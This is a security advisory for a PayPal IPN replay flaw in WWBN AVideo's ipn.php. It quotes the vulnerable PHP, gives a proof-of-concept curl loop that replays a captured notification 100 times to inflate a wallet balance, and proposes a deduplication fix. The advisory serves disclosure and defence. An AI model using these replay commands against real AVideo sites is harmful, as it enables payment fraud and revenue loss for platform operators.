CVE-2026-39366: WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

Summary

The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPTlog entries, but the v1 handler was never updated and remains actively referenced as the notifyurl for billing plans.

Details

When a recurring payment IPN arrives at ipn.php, the handler:

1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.

2. Looks up the subscription from recurringpaymentid and directly credits the user's wallet (lines 41-53):

php // plugin/PayPalYPT/ipn.php lines 41-53 $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; }

No txnid uniqueness check. No PayPalYPTlog entry created. No deduplication of any kind.

Compare with the patched handlers: - ipnV2.php (line 50): PayPalYPT::isTokenUsed($GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($POST["verifysign"]), with PayPalYPTlog entries saved on success. - webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPTlog entry saved on success.

The v1 ipn.php is still actively configured as notifyurl in PayPalYPT.php at lines 85, 193, and 308: php $notifyurl = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";

PoC

bash Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

Step 1: Complete a legitimate PayPal subscription. This generates an IPN notification to ipn.php containing your recurringpaymentid.

Step 2: Capture the IPN POST body. This is available from: - PayPal's IPN History (paypal.com > Settings > IPN History) - Network interception during the initial subscription flow

Step 3: Replay the captured IPN to inflate wallet balance. Each replay adds the subscription amount to the attacker's wallet.

Single replay: curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com'

Bulk replay (100x = 100x the subscription amount added to wallet): for i in $(seq 1 100); do curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \ -d 'recurringpaymentid=I-XXXXXXXXXX&mcgross=9.99&mccurrency=USD&paymentstatus=Completed&txntype=recurringpayment&verifysign=REALVERIFYSIGN&payeremail=attacker@example.com' done

Each request passes IPNcheck() (PayPal confirms the data is authentic), then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

- Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content. - Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment. - Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPTlog and check before processing:

php // plugin/PayPalYPT/ipn.php — replace lines 41-57 with: } else { errorlog("PayPalIPN: recurringpaymentid = {$POST["recurringpaymentid"]} ");

// Deduplication: check if this IPN was already processed $dedupkey = !empty($POST['txnid']) ? $POST['txnid'] : $POST['verifysign']; if (PayPalYPT::isRecurringPaymentIdUsed($dedupkey)) { errorlog("PayPalIPN: already processed, skipping"); die(jsonencode($obj)); }

$subscription = AVideoPlugin::loadPluginIfEnabled("Subscription"); if (!empty($subscription)) { $row = Subscription::getFromAgreement($POST["recurringpaymentid"]); errorlog("PayPalIPN: user found from recurringpaymentid (usersid = {$row['usersid']}) "); $usersid = $row['usersid']; $paymentamount = empty($POST['mcgross']) ? $POST['amount'] : $POST['mcgross']; $paymentcurrency = empty($POST['mccurrency']) ? $POST['currencycode'] : $POST['mccurrency']; if ($walletObject->currency===$paymentcurrency) { // Log the transaction for deduplication $pp = new PayPalYPTlog(0); $pp->setUsersid($usersid); $pp->setRecurringpaymentid($dedupkey); $pp->setValue($paymentamount); $pp->setJson(['post' => $POST]); if ($pp->save()) { $plugin->addBalance($usersid, $paymentamount, "Paypal recurrent", jsonencode($POST)); Subscription::renew($usersid, $row['subscriptionsplansid']); $obj->error = false; } } else { errorlog("PayPalIPN: FAIL currency check $walletObject->currency===$paymentcurrency "); } } }

Additionally, consider migrating the notifyurl references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.